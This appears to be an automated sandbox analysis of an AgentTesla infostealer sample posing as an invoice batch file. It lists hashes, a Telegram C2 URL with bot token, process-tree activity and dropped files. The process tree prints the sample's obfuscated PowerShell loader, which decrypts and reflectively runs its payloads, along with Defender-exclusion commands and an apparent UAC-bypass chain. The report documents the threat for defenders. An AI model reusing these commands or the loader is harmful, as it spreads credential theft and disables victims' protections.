agenttesla | adc82b873e8b21669e2d4cd73377a61e1d002ca8536502160603434424c13e02

General

Target

INVOICE07.bat
Size

540KB
MD5

1952a79579272db52a814baf57821f90
SHA1

3fcfb6c3d2c08e840d758e905c2f304ec39ca9f3
SHA256

e575145995f725fbaecc1b95c73ec0fbdad3117e1f492dc8d93ad076f5ad2da1
SHA512

088de9db26c4eda94bb71a5379118418c06bcb46d8ccce7d1da2719c8d742e8347a4dfde9f73afbb362ef461a0af159408d9150adc8653f6e5a3507408eb6a93
SSDEEP

12288:xToPjPt8r1cxIMTOQo5Xq4PpsXis9Jhqd8FJVqzT+53xH:xeWrOa4UaYpsXlJIdwSIZ

Score

10^/10

agenttesla execution keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

C2

https://api.telegram.org/bot7135973864:AAGVqtrGeLysm0FYcz68sQIn3nL2a6CxjMc/

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Blocklisted process makes network request 2 IoCs

flow	pid	Process
29	2804	powershell.exe
31	2804	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1632	powershell.exe
2804	powershell.exe
4320	powershell.exe
1048	powershell.exe
3084	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
4192	ComputerDefaults.exe

Loads dropped DLL 1 IoCs

pid	Process
4192	ComputerDefaults.exe

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
29	api.ipify.org
30	ip-api.com
28	api.ipify.org

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
1632	powershell.exe
1632	powershell.exe
3084	powershell.exe
3084	powershell.exe
2804	powershell.exe
2804	powershell.exe
2804	powershell.exe
1048	powershell.exe
1048	powershell.exe
1048	powershell.exe
2804	powershell.exe
2804	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1632	powershell.exe
Token: SeDebugPrivilege	3084	powershell.exe
Token: SeDebugPrivilege	2804	powershell.exe
Token: SeDebugPrivilege	1048	powershell.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 1624 wrote to memory of 3176	1624	cmd.exe	86
PID 1624 wrote to memory of 3176	1624	cmd.exe	86
PID 1624 wrote to memory of 1252	1624	cmd.exe	87
PID 1624 wrote to memory of 1252	1624	cmd.exe	87
PID 1624 wrote to memory of 1632	1624	cmd.exe	88
PID 1624 wrote to memory of 1632	1624	cmd.exe	88
PID 1632 wrote to memory of 3084	1632	powershell.exe	94
PID 1632 wrote to memory of 3084	1632	powershell.exe	94
PID 1632 wrote to memory of 4748	1632	powershell.exe	99
PID 1632 wrote to memory of 4748	1632	powershell.exe	99
PID 4748 wrote to memory of 4192	4748	cmd.exe	101
PID 4748 wrote to memory of 4192	4748	cmd.exe	101
PID 4192 wrote to memory of 4140	4192	ComputerDefaults.exe	102
PID 4192 wrote to memory of 4140	4192	ComputerDefaults.exe	102
PID 4140 wrote to memory of 468	4140	cmd.exe	104
PID 4140 wrote to memory of 468	4140	cmd.exe	104
PID 4140 wrote to memory of 2752	4140	cmd.exe	108
PID 4140 wrote to memory of 2752	4140	cmd.exe	108
PID 4140 wrote to memory of 2804	4140	cmd.exe	109
PID 4140 wrote to memory of 2804	4140	cmd.exe	109
PID 2804 wrote to memory of 1048	2804	powershell.exe	111
PID 2804 wrote to memory of 1048	2804	powershell.exe	111
PID 2804 wrote to memory of 4320	2804	powershell.exe	115
PID 2804 wrote to memory of 4320	2804	powershell.exe	115

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\INVOICE07.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1624
- C:\Windows\system32\cmd.exe
  cmd /c "set __=^&rem"
  2⤵
  PID:3176
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('YFEk7bCybDCwVf0wTlX8N4pDcP2M+6VJEGXybuh+8wc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ppkRkLHGStauzXAtFwrtog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $VWVPe=New-Object System.IO.MemoryStream(,$param_var); $VqYlz=New-Object System.IO.MemoryStream; $hGmEI=New-Object System.IO.Compression.GZipStream($VWVPe, [IO.Compression.CompressionMode]::Decompress); $hGmEI.CopyTo($VqYlz); $hGmEI.Dispose(); $VWVPe.Dispose(); $VqYlz.Dispose(); $VqYlz.ToArray();}function execute_function($param_var,$param2_var){ $NuRNy=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $Lqnnw=$NuRNy.EntryPoint; $Lqnnw.Invoke($null, $param2_var);}$ITxqM = 'C:\Users\Admin\AppData\Local\Temp\INVOICE07.bat';$host.UI.RawUI.WindowTitle = $ITxqM;$NFyDa=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($ITxqM).Split([Environment]::NewLine);foreach ($RWjHW in $NFyDa) { if ($RWjHW.StartsWith('beDrwtSuNzbegooyjSZN')) { $bpNTb=$RWjHW.Substring(20); break; }}$payloads_var=[string[]]$bpNTb.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
  2⤵
  PID:1252
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1632
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3084
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c "C:\Windows \System32\ComputerDefaults.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4748
  - - C:\Windows \System32\ComputerDefaults.exe
      "C:\Windows \System32\ComputerDefaults.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:4192
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c call SC.cmd
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4140
      - C:\Windows\system32\cmd.exe
        
        cmd /c "set __=^&rem"
        6⤵
        
        PID:468
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('YFEk7bCybDCwVf0wTlX8N4pDcP2M+6VJEGXybuh+8wc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ppkRkLHGStauzXAtFwrtog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $VWVPe=New-Object System.IO.MemoryStream(,$param_var); $VqYlz=New-Object System.IO.MemoryStream; $hGmEI=New-Object System.IO.Compression.GZipStream($VWVPe, [IO.Compression.CompressionMode]::Decompress); $hGmEI.CopyTo($VqYlz); $hGmEI.Dispose(); $VWVPe.Dispose(); $VqYlz.Dispose(); $VqYlz.ToArray();}function execute_function($param_var,$param2_var){ $NuRNy=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $Lqnnw=$NuRNy.EntryPoint; $Lqnnw.Invoke($null, $param2_var);}$ITxqM = 'C:\Users\Admin\AppData\Local\Temp\SC.cmd';$host.UI.RawUI.WindowTitle = $ITxqM;$NFyDa=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($ITxqM).Split([Environment]::NewLine);foreach ($RWjHW in $NFyDa) { if ($RWjHW.StartsWith('beDrwtSuNzbegooyjSZN')) { $bpNTb=$RWjHW.Substring(20); break; }}$payloads_var=[string[]]$bpNTb.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        6⤵
        
        PID:2752
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2804
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1048
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command " Remove-Item '\\?\C:\Windows \' -Force -Recurse "
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4320

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6c47b3f4e68eebd47e9332eebfd2dd4e

SHA1
67f0b143336d7db7b281ed3de5e877fa87261834

SHA256
8c48b1f2338e5b24094821f41121d2221f1cb3200338f46df49f64d1c4bc3e0c

SHA512
0acf302a9fc971ef9df65ed42c47ea17828e54dff685f4434f360556fd27cdc26a75069f00dcdc14ba174893c6fd7a2cfd8c6c07be3ce35dafee0a006914eaca

Download Submit
C:\Users\Admin\AppData\Local\Temp\SC.cmd

Filesize
540KB

MD5
1952a79579272db52a814baf57821f90

SHA1
3fcfb6c3d2c08e840d758e905c2f304ec39ca9f3

SHA256
e575145995f725fbaecc1b95c73ec0fbdad3117e1f492dc8d93ad076f5ad2da1

SHA512
088de9db26c4eda94bb71a5379118418c06bcb46d8ccce7d1da2719c8d742e8347a4dfde9f73afbb362ef461a0af159408d9150adc8653f6e5a3507408eb6a93

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_13pfr5z0.lqk.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows \System32\ComputerDefaults.exe

Filesize
80KB

MD5
d25a9e160e3b74ef2242023726f15416

SHA1
27a9bb9d7628d442f9b5cf47711c906e3315755b

SHA256
7b0334c329e40a542681bcaff610ae58ada8b1f77ff6477734c1b8b9a951ef4c

SHA512
bafaee786c90c96a2f76d4bbcddbbf397a1afd82d55999081727900f3c2de8d2eba6b77d25c622de0c1e91c54259116bc37bc9f29471d1b387f78aaa4d276910

Download Submit
C:\Windows \System32\MLANG.dll

Filesize
122KB

MD5
e286ada1af4b08fa4b7c78f862883c4e

SHA1
798ebc7b7cd3db667f1a59ade299be4cff397f39

SHA256
16eb71b68025711fdbc93229fde22ecc73dc8a23be8b40700772b96978187ea3

SHA512
fbbbc893388a39e94d8b2265aef75dbaf5fd928fadabd3dbfc5cbee64b600de0102b82e5d2b5c56efe128b45f6ddd4bba2668194c05decdfa78c8e7e382de3f5

Download Submit
memory/1632-14-0x000001EBE47D0000-0x000001EBE4846000-memory.dmp

Filesize
472KB

Download
memory/1632-12-0x00007FFA75250000-0x00007FFA75D11000-memory.dmp

Filesize
10.8MB

Download
memory/1632-16-0x00007FFA932D0000-0x00007FFA934C5000-memory.dmp

Filesize
2.0MB

Download
memory/1632-17-0x00007FFA91E30000-0x00007FFA91EEE000-memory.dmp

Filesize
760KB

Download
memory/1632-18-0x000001EBE4750000-0x000001EBE47B6000-memory.dmp

Filesize
408KB

Download
memory/1632-71-0x00007FFA75250000-0x00007FFA75D11000-memory.dmp

Filesize
10.8MB

Download
memory/1632-6-0x000001EBE41F0000-0x000001EBE4212000-memory.dmp

Filesize
136KB

Download
memory/1632-15-0x000001EBE41E0000-0x000001EBE41F0000-memory.dmp

Filesize
64KB

Download
memory/1632-11-0x00007FFA75250000-0x00007FFA75D11000-memory.dmp

Filesize
10.8MB

Download
memory/1632-0-0x00007FFA75253000-0x00007FFA75255000-memory.dmp

Filesize
8KB

Download
memory/1632-13-0x000001EBE4700000-0x000001EBE4744000-memory.dmp

Filesize
272KB

Download
memory/2804-56-0x00007FFA91E30000-0x00007FFA91EEE000-memory.dmp

Filesize
760KB

Download
memory/2804-55-0x00007FFA932D0000-0x00007FFA934C5000-memory.dmp

Filesize
2.0MB

Download
memory/2804-70-0x000001FD21230000-0x000001FD21272000-memory.dmp

Filesize
264KB

Download
memory/2804-72-0x000001FD21310000-0x000001FD21360000-memory.dmp

Filesize
320KB

Download
memory/3084-33-0x00007FFA75250000-0x00007FFA75D11000-memory.dmp

Filesize
10.8MB

Download
memory/3084-30-0x00007FFA75250000-0x00007FFA75D11000-memory.dmp

Filesize
10.8MB

Download
memory/3084-20-0x00007FFA75250000-0x00007FFA75D11000-memory.dmp

Filesize
10.8MB

Download
memory/3084-19-0x00007FFA75250000-0x00007FFA75D11000-memory.dmp

Filesize
10.8MB

Download

Analysis

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